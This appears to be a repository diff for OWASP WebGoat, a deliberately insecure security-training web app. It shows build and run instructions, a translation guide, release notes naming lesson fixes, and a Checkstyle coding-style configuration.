We supply a complete development environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
```shell
$ cd WebGoat/webgoat-images/vagrant-users
$ vagrant up
```
Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
The source code will be available in the home directory.
# Building a new Docker image
WebGoat now has Docker support for x86 and ARM (raspberry pi).
### Docker on x86
On x86 you can build a container with the following commands:
```Shell
cd WebGoat/
mvn install
cd webgoat-server
docker build -t webgoat/webgoat-8.0 .
docker tag webgoat/webgoat-8.0 webgoat/webgoat-8.0:8.0
docker login
docker push webgoat/webgoat-8.0
```
### Docker on ARM (Raspberry Pi)
On a Raspberry Pi (it has yet been tested with a Raspberry Pi 3 and the hypriot Docker image) you need to build JFFI for
ARM first. This is needed by the docker-maven-plugin ([see here](https://github.com/spotify/docker-maven-plugin/issues/233)):
```Shell
sudo apt-get install build-essential
git clone https://github.com/jnr/jffi.git
cd jffi
ant jar
cd build/jni
sudo cp libjffi-1.2.so /usr/lib
```
When you have done this you can build the Docker container using the following commands:
```Shell
cd WebGoat/
mvn install
cd webgoat-server
mvn docker:build -Drpi=true
docker tag webgoat/webgoat-8.0 webgoat/webgoat-8.0:8.0
docker login
docker push webgoat/webgoat-8.0
```

165
README.md Normal file
View File

@ -0,0 +1,165 @@
# WebGoat: A deliberately insecure Web Application
[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/)
[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
# Introduction
WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
application security lessons.
This program is a demonstration of common server-side application flaws. The
exercises are intended to be used by people to learn about application security and
penetration testing techniques.
**WARNING 1:** *While running this program your machine will be extremely
vulnerable to attack. You should disconnect from the Internet while using
this program.* WebGoat's default configuration binds to localhost to minimize
the exposure.
**WARNING 2:** *This program is for educational purposes only. If you attempt
these techniques without authorization, you are very likely to get caught. If
you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.*
![WebGoat](docs/images/webgoat.png)
# Installation instructions:
For more details check [the Contribution guide](/CONTRIBUTING.md)
## 1. Run using Docker
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
```
For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
E.g.
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
```
If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
you can use custom host entries. For example:
```shell
127.0.0.1 www.webgoat.local www.webwolf.local
```
Then you can run the container with:
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
```
Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
## 2. Run using Docker with complete Linux Desktop
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
```shell
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
```
## 3. Standalone
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell
export TZ=Europe/Amsterdam # or your timezone
java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
```
Click the link in the log to start WebGoat.
### 3.1 Running on a different port
If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
```shell
java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
```
For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
## 4. Run from the sources
### Prerequisites:
* Java 23
* Your favorite IDE
* Git, or Git support in your IDE
Open a command shell/window:
```Shell
git clone git@github.com:WebGoat/WebGoat.git
```
Now let's start by compiling the project.
```Shell
cd WebGoat
git checkout <<branch_name>>
# On Linux/Mac:
./mvnw clean install
# On Windows:
./mvnw.cmd clean install
# Using docker or podman, you can than build the container locally
docker build -f Dockerfile . -t webgoat/webgoat
```
Now we are ready to run the project. WebGoat is using Spring Boot.
```Shell
# On Linux/Mac:
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run
```
... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
```
server.address=x.x.x.x
```
## 4. Run with custom menu
For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
For instance running as a jar on a Linux/macOS it will look like this:
```Shell
export TZ=Europe/Amsterdam # or your timezone
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar target/webgoat-2023.8-SNAPSHOT.jar
```
Or in a docker run it would (once this version is pushed into docker hub) look like this:
```Shell
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
```

34
README_I18N.md Normal file
View File

@ -0,0 +1,34 @@
# Multi language support in WebGoat
WebGoat is mainly written in English, but it does support multiple languages.
## Default language selection
1. Current supported languages are: en, fr, de, nl
2. The primary language is based on the language setting of the browser.
3. If the language is not in the list of supported language, the language is English
4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
1. After switching a language you are back at the Introduction page
## Adding a new language
The following steps are required when you want to add a new language
1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
1. Add the parts for showing the flag and providing the correct value for the flag= parameter
2.
2. Add a flag image to src/main/resources/webgoat/static/css/img
1. See the main_new.html for a link to download flag resources
3. Add a welcome page to the introduction lesson
1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
4. Translate the main labels
1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
2. Translate the label values
5. Optionally translate lessons by
1. Adding lang specifc adoc files in documentation folder of the lesson
2. Adding WebGoatLabels.properties of a specific language if you want to
6. Run mvn clean to see if the LabelAndHintIntegration test passes
7. Run WebGoat and verify that your own language and the other languages work as expected
If you only want to translate more for a certain language, you only need to do step 4-8

308
RELEASE_NOTES.md Normal file
View File

@ -0,0 +1,308 @@
# WebGoat release notes
## Version 2025.3
### 🐞 Bug fixes
- Changed URLs imply other exclusion filters for ZAP (#2052)
- XSS lesson stage 12 (2 issues) (#1178)
### 🔄 Technical tasks
- bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
- bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
## Version 2025.2
### 🐞 Bug fixes
- Fix SQL advanced lesson assignment 5 (#2047)
## Version 2025.1
### 🚀 New functionality
- Introduce Playwright for UI testing
- Refactoring of core code
### 🐞 Bug fixes
- Introduce assignment progress (#2043)
- Add test case for multiple users solving lessons (#2043)
- Register user while already logged in as other user. (#2042)
- Small updates and improvements in HTTP Basic lesson (#2024)
- Improve HTTP basics lesson
- Solve compiler warnings
- Cleanup attack result and builder
- Format all code according to SPDX
- Fixed one invalid solution about CSRF attack (#2010)
- Reset a lesson no longer removes all assignments
- Hint labels showing default text regardless of localization (#1965)
- Automatically solve XSS mitigation (#1957)
- Remove implicit context path guessing (#1956)
- JWT kid/jku lessons (#1949)
- Fix password reset lesson (#1941)
- Fix passing command line arguments (#1933)
- Use banners correctly
- Show boolean operators priority on `where` (#1902)
- Remove WebGoat session object (#1929)
- Reset form and quiz color on reset lesson (#1903)
- XSS lesson typo
- Copying file using `transferTo` sometimes fails. (#1862)
- Fix report card (#1845)
- Success if only Smith earn most salary (#1744)
- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
- Move CSRF to A3 (#1776)
- Fix typo in SQLi blind case
- Use $ instead of jQuery which is undefined (#1736)
- Fix hidden links in MissingFunctionAC.html. (#1710)
### 🔄 Technical tasks
- Lots of dependency updates
## Contributors
Special thanks to the following contributors providing us with a pull request:
- François Capon
- GoogTech HackHuang
- Peter Potrowl
- cap-dev0x
- Benjamin Mouncer
- Jeong Rok Suh
- Rui Melo
- Vandeputte Brice
## Version 2023.8
### 🚀 New functionality
- Consistent environment values and url references (#1677)
- Show directly requested file in requests overview
- Show creating time in file upload overview
### 🐞 Bug fixes
- Fix startup message (#1687)
- Fix/state of software supply chain links (#1683)
- Fix WebWolf UI (#1686)
### 🔄 Technical tasks
- bump actions/setup-java from 3 to 4 (#1690)
- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
## Version 2023.5
### New functionality
- Implement JWT jku example (#1552)
- Java 21 initial support (#1622)
- improve MFAC lesson hint texts for a better user experience (#1424)
- upgrade to Spring Boot version 3 (#1477)
### Bug fixes
- typo in WebGoad.txt (#1667)
- search box moved and jwt encode/decode with little delay (#1664)
- skip validation for JWT (#1663)
- fixed issue in JWT test tool and added robot test (#1658)
- Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
- fix servers id (#1619)
- potential NPE in the stored XSS assignment
- crypto basics broken links
- fixes the default change in trailing slash matching and address the affected assignments
- hint that was breaking the template, causing hints from different assignments to mix (#1424)
- HijackSession lesson template deprecated Tymeleaf attribute
- Fix NPE in IDOR lesson
- Add new assignment IT tests
- XSS mitigation
- Stored Cross-Site Scripting Lesson
- Add Assignment7 Tests
- Fix IDOR lesson
- remove steps from release script (#1509)
- robotframework fails due to updated dependencies (#1508)
- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
- Fix typo of HijackSession_content0.adoc
- Restrict SSRF Regexes
- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
FlagController
## Version 2023.4
### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
can make
many more releases this year.
### New functionality
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup:
* This has a huge performance benefit when building the application. Build time locally is now
`Total time: 42.469 s` (depends on your local machine of course)
* No longer add Maven dependencies in several places
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
### Bug fixes
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
## Version 8.2.2
### New functionality
- Docker image now supports nginx when browsing to http://localhost a landing page is shown.
### Bug fixes
- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039)
- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
## Version 8.2.1
### New functionality
- New Docker image for arm64 architecture is now available (for Apple M1)
## Version 8.2.0
### New functionality
- Add new zip slip lesson (part of path traversal)
- SQL lessons are now separate for each user, database are now per user and no longer shared across users
- Moved to Java 15 & Spring Boot 2.4 & moved to JUnit 5
### Bug fixes
- [#974 SQL injection Intro 5 not solvable](https://github.com/WebGoat/WebGoat/issues/974)
- [#962 SQL-Lesson 5 (Advanced) Solvable with wrong anwser](https://github.com/WebGoat/WebGoat/issues/962)
- [#961 SQl-Injection lesson 4 not deleting created row](https://github.com/WebGoat/WebGoat/issues/961)
- [#949 Challenge: Admin password reset always solvable](https://github.com/WebGoat/WebGoat/issues/949)
- [#923 - Upgrade to Java 15](https://github.com/WebGoat/WebGoat/issues/923)
- [#922 - Vulnerable components lesson](https://github.com/WebGoat/WebGoat/issues/922)
- [#891 - Update the OWASP website with the new all-in-one Docker container](https://github.com/WebGoat/WebGoat/issues/891)
- [#844 - Suggestion: Update navigation](https://github.com/WebGoat/WebGoat/issues/844)
- [#843 - Bypass front-end restrictions: Field restrictions - confusing text in form](https://github.com/WebGoat/WebGoat/issues/843)
- [#841 - XSS - Reflected XSS confusing instruction and success messages](https://github.com/WebGoat/WebGoat/issues/841)
- [#839 - SQL Injection (mitigation) Order by clause confusing](https://github.com/WebGoat/WebGoat/issues/839)
- [#838 - SQL mitigation (filtering) can only be passed by updating table](https://github.com/WebGoat/WebGoat/issues/838)
## Contributors
Special thanks to the following contributors providing us with a pull request:
- nicholas-quirk
- VijoPlays
- aolle
- trollingHeifer
- maximmasiutin
- toshihue
- avivmu
- KellyMarchewa
- NatasG
- gabe-sky
## Version 8.1.0
### New functionality
- Added new lessons for cryptography and path-traversal
- Extra content added to the XXE lesson
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
pull request on Github.
- Docker improvements + docker stack for complete container with nginx
- Included JWT token decoding and generation, since jwt.io does not support None anymore
### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
## Contributors
Special thanks to the following contributors providing us with a pull request:
- Satoshi SAKAO
- Philippe Lafoucrière
- Cotonne
- Tiago Mussi
- thegoodcrumpets
- Atharva Vaidya
- torleif
- August Detlefsen
- Choe Hyeong Jin
And everyone who provided feedback through Github.
Team WebGoat

View File

@ -1,12 +0,0 @@
version: 0.1
phases:
build:
commands:
- mvn package
artifacts:
files:
- webgoat-server/target/webgoat-server-8.0-SNAPSHOT.jar
discard-paths: yes

259
config/checkstyle/checkstyle.xml Executable file
View File

@ -0,0 +1,259 @@
<?xml version="1.0"?>
<!DOCTYPE module PUBLIC
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
"http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
<!--
Checkstyle configuration that checks the Google coding conventions from Google Java Style
that can be found at https://google.github.io/styleguide/javaguide.html.
Checkstyle is very configurable. Be sure to read the documentation at
http://checkstyle.sf.net (or in your downloaded distribution).
To completely disable a check, just comment it out or delete it from the file.
Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
-->
<module name="Checker">
<property name="charset" value="UTF-8"/>
<property name="severity" value="error"/>
<property name="fileExtensions" value="java, properties, xml"/>
<!-- Checks for whitespace -->
<!-- See http://checkstyle.sf.net/config_whitespace.html -->
<module name="SuppressionFilter">
<property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
</module>
<module name="TreeWalker">
<module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format" value="org\.junit\.Assert\.assert"/>
<property name="message"
value="Please use AssertJ imports."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
<property name="regexp" value="true"/>
<property name="illegalPkgs"
value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
<property name="illegalClasses"
value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
<property name="message"
value="Please use specialized AssertJ assertThat*Exception method."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="@SneakyThrows"/>
<property name="message"
value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
<property name="ignoreComments" value="true"/>
</module>
<module name="OuterTypeFilename"/>
<module name="IllegalTokenText">
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
<property name="format"
value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
<property name="message"
value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
</module>
<module name="AvoidEscapedUnicodeCharacters">
<property name="allowEscapesForControlCharacters" value="true"/>
<property name="allowByTailComment" value="true"/>
<property name="allowNonPrintableEscapes" value="true"/>
</module>
<module name="OneTopLevelClass">
<property name="severity" value="warning"/>
</module>
<module name="NoLineWrap"/>
<module name="EmptyBlock">
<property name="option" value="TEXT"/>
<property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
</module>
<module name="WhitespaceAround">
<property name="allowEmptyConstructors" value="true"/>
<property name="allowEmptyMethods" value="true"/>
<property name="allowEmptyTypes" value="true"/>
<property name="allowEmptyLoops" value="true"/>
<message key="ws.notFollowed"
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
<message key="ws.notPreceded"
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
</module>
<module name="OneStatementPerLine"/>
<module name="MultipleVariableDeclarations"/>
<module name="ArrayTypeStyle"/>
<module name="MissingSwitchDefault"/>
<module name="FallThrough"/>
<module name="UpperEll"/>
<module name="ModifierOrder"/>
<module name="EmptyLineSeparator">
<property name="allowNoEmptyLineBetweenFields" value="true"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapDot"/>
<property name="tokens" value="DOT"/>
<property name="option" value="nl"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapComma"/>
<property name="tokens" value="COMMA"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
<property name="id" value="SeparatorWrapEllipsis"/>
<property name="tokens" value="ELLIPSIS"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
<property name="id" value="SeparatorWrapArrayDeclarator"/>
<property name="tokens" value="ARRAY_DECLARATOR"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapMethodRef"/>
<property name="tokens" value="METHOD_REF"/>
<property name="option" value="nl"/>
</module>
<module name="PackageName">
<property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
<message key="name.invalidPattern"
value="Package name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="TypeName">
<message key="name.invalidPattern"
value="Type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MemberName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
<message key="name.invalidPattern"
value="Member name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
<message key="name.invalidPattern"
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="CatchParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="LocalVariableName">
<property name="tokens" value="VARIABLE_DEF"/>
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ClassTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Class type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MethodTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Method type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="InterfaceTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Interface type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="NoFinalizer"/>
<module name="GenericWhitespace">
<message key="ws.followed"
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
<message key="ws.preceded"
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
<message key="ws.illegalFollow"
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
<message key="ws.notPreceded"
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
</module>
<module name="AbbreviationAsWordInName">
<property name="ignoreFinal" value="false"/>
<property name="allowedAbbreviationLength" value="4"/>
<property name="severity" value="warning"/>
</module>
<module name="OverloadMethodsDeclarationOrder"/>
<module name="VariableDeclarationUsageDistance"/>
<module name="CustomImportOrder">
<property name="sortImportsInGroupAlphabetically" value="false"/>
<property name="separateLineBetweenGroups" value="true"/>
<property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
</module>
<module name="MethodParamPad"/>
<module name="NoWhitespaceBefore">
<property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
<property name="allowLineBreaks" value="true"/>
</module>
<module name="ParenPad"/>
<module name="OperatorWrap">
<property name="option" value="NL"/>
<property name="tokens"
value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationMostCases"/>
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationVariables"/>
<property name="tokens" value="VARIABLE_DEF"/>
<property name="allowSamelineMultipleAnnotations" value="true"/>
</module>
<module name="NonEmptyAtclauseDescription"/>
<module name="JavadocTagContinuationIndentation"/>
<module name="SummaryJavadoc">
<property name="forbiddenSummaryFragments"
value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocParagraph">
<property name="severity" value="warning"/>
</module>
<module name="AtclauseOrder">
<property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
<property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocMethod">
<property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
<property name="scope" value="public"/>
<property name="allowMissingParamTags" value="true"/>
<property name="allowMissingThrowsTags" value="true"/>
<property name="allowMissingReturnTag" value="true"/>
<property name="minLineCount" value="2"/>
<property name="allowedAnnotations" value="Override, Test"/>
<property name="allowThrowsTagsForSubclasses" value="true"/>
<property name="severity" value="warning"/>
</module>
<module name="MethodName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
<message key="name.invalidPattern"
value="Method name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="SingleLineJavadoc">
<property name="ignoreInlineTags" value="false"/>
</module>
<module name="EmptyCatchBlock">
<property name="exceptionVariableName" value="expected"/>
</module>
<module name="CommentsIndentation"/>
</module>
</module>

View File

@ -0,0 +1,11 @@
<?xml version="1.0"?>
<!DOCTYPE suppressions PUBLIC
"-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
"https://checkstyle.org/dtds/suppressions_1_2.dtd">
<suppressions>
